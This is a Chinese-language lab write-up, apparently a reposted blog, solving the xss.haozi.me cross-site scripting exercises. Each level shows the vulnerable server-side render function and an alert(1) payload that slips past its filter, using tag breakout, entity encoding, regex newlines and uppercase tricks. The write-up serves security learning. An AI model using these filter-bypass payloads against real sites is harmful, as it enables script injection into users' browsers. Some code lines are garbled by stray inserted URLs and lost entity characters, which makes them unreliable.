Web安全基礎 - XSS Labs
實驗來自于https://xss.haozi.me
XSS是跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,
XSS攻擊實際上就是攻擊者使得瀏覽器執行本不該存在的前端代碼,
0x00 基礎
服務端代碼如下:
function render (input) {
return '<div>' + input + '</div>'
}
當輸入為<scirpt>alert(1);</scirpt>,因為輸入要回顯到前端,這時候瀏覽器將輸入識別為了HTML代碼,執行alert(1);

0x01-0x02 主動閉合
0x01 主動閉合-標簽
服務端代碼如下:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
textarea會將輸入作為多行文本顯示出來,我們想繼續讓輸入作為代碼執行,就要主動閉合來繞過該標簽,
那么輸入就是</textarea><script>alert(1);</script><textarea>

可以看到頁面前端多了兩個空的文本框,它們是由我們的輸入主動閉合造成的,出現引號等將輸入識別為文本的限制,也可以使用這種方法繞過,如下題,
0x02 主動閉合-引號
該題目的服務端代碼:
function render (input) {
return '<input type="name" value="' + input + '">'
}
當我們輸入"><script>alert(1);</script><"時候引號閉合,html為
<input type="name" value=""><script>alert(1);</script><"">
name的值為空,輸入作為了腳本執行,
0x03-0x05 常見過濾
0x03 ()過濾
服務端代碼將()過濾,但我們執行函式時需要帶上(),
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
通過鍵盤左上角的``可以繞過()的過濾,輸入
<script>alert`1`;</script>
成功繞過
0x04 ()&`過濾
服務端同時過濾了()和`
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
這里要用到HTML物體字符來繞過,(, )分別代表左右括號
這里直接輸入<script>alert(1)</script>不行,因為script標簽內部會識別成js代碼而非html語言,
這里使用<img src="https://www.cnblogs.com/sanyic/p/asdasd" one rror="alert(1);">
img的src任意填寫,保證其失敗后呼叫onerror屬性內的代碼,
0x05 -->過濾
服務端代碼過濾掉了-->
function render (input) {
input = input.replace(/-->/g, '??')
return '<!-- ' + input + ' -->'
}
使用--!>繞過即可
輸入--!><script>alert(1);</script>
0x06-0x07 正則繞過
0x06 正則繞過-換行1
服務端過濾了正則:auto|on.*=|>
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=https://www.cnblogs.com/sanyic/p/1 ${input} type="text">`
}
這里在input標簽內構造標簽屬性image,然后模仿上題構造onerror的陳述句,注意onerror后面要另加換行,不然會被正則過濾
type="image" src="https://www.cnblogs.com/sanyic/p/sdsa" one rror
="alert(1);"
0x07 正則繞過-標簽不閉合
服務器過濾正則/<\/?[^>]+>/gi
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
這個正則匹配以<或者</開頭,至少有一個非>字符作為內容,以>結尾的字串
輸入<img src="https://www.cnblogs.com/sanyic/p/sad" one rror="alert(1);"不閉合就可以繞過
0x08 正則繞過-換行2
服務器過濾了標簽導致無法閉合
function render (src) {
src = https://www.cnblogs.com/sanyic/p/src.replace(/</style>/ig,'/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
輸入
</style
>
<script>alert(1);</script>
繞過
0x09 正則繞過-test檢測
test只會檢測是否存在要求的正則匹配
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="https://www.cnblogs.com/sanyic/p/${input}"></script>`
}
return 'Invalid URL'
}
我們只要首先輸入對應的URL再閉合,重新開始構造就好,這里不能使用script,因為后面還有一個引號
https://www.segmentfault.com"></script><img src="https://www.cnblogs.com/sanyic/p/123" one rror="alert(1);
0x0A 引入漏洞頁面
這里綜合了replace和test,先進行URL的檢測,再進行字符的替換
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="https://www.cnblogs.com/sanyic/p/${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
仔細看代碼發現是將原字符替換為對應的HTML字符物體,但是輸入最后在script里面識別為js代碼,
這里利用的是src屬性會將@后的網址決議出來,將前面的內容作為用戶名作為登錄后面網頁的用戶名
(alert(1)的js官方提供地址:https://xss.haozi.me/j.js)
放個別人的payloadhttps://[email protected]/j.js,但是我在Chrome和edge上都沒有成功,
0x0B-0x0C toUpperCase
0x0B toUpperCase
這關會將所有的輸入轉換為大寫字符,我們根據之前的思路,利用HTML物體字符來繞過,
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
標簽是大小寫不敏感的,但是我們要執行的js代碼大小寫敏感,對代碼進行物體字符編碼
alert(1); "alert(1);"
0x0C 標簽過濾+toUpperCase
在toUpperCase前加了一次script的過濾,用上一題的payload依然可以解
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
0x0D 注釋逃逸
首先對input進行一些過濾所以//這里就不能用了,使用-->來過濾,然后是通過換行來繞過注釋
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
我們的輸入就應該是%0Aalert(1)%3B%0A--%3E
alert(1);
-->
0x0E ?繞過
這里的語法是在<和緊鄰的第一個字母前面加上_
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
做出來的人payload是這樣的<?cript src="https://xss.haozi.me/j.js"></script>
- ? 是古英語中的s的寫法, 轉成大寫是正常的S
- 利用src引入漏洞檔案來繞過大寫JS代碼無法執行
0x0F-0x12 主動閉合2
0x0F 主動閉合-呼叫
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src one rror="console.error('${escapeHtml(input)}')">`
}
<script src="https://www.cnblogs.com/sanyic/p/${escapeHtml(input)}"></script>這是0x0A的HTML物體字符替換,成功阻止了我們進行截斷,
雖然該題也進行了物體字符替換,但是對于行內為字串的js代碼,瀏覽器會先進行HTML決議,再將其視作js,因此我們這里可以直接截斷繞過,
Payload:');alert('1
0x10 主動閉合-陳述句
function render (input) {
return `
<script>
window.data = https://www.cnblogs.com/sanyic/p/${input}
</script>
`
}
和上一題類似,閉合再寫入alert陳述句就好
Payload: 1;alert(1)
0x11 主動閉合-綜合
應該是這些題目里最長的代碼,不過意思也很簡明,
這里的escapeJs的作用是將一些特殊字符轉義為普通字符,script是給頁面添加一個url并點擊,也就是觸發我們的輸入,
看明白了其實還是用到閉合的思路,
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = https://www.cnblogs.com/sanyic/p/url
document.body.appendChild(a)
a.click()
</script>
`
}
Payload: ");alert(1);("
0x12 主動閉合-綜合2
“替換成\“,可以雙寫一個\來轉義掉第一個\繞過
console.log("")有語法錯誤,要再加一個\來轉義
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
Payload:\");alert(1);//
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538364.html
標籤:其他
下一篇:第四次打靶
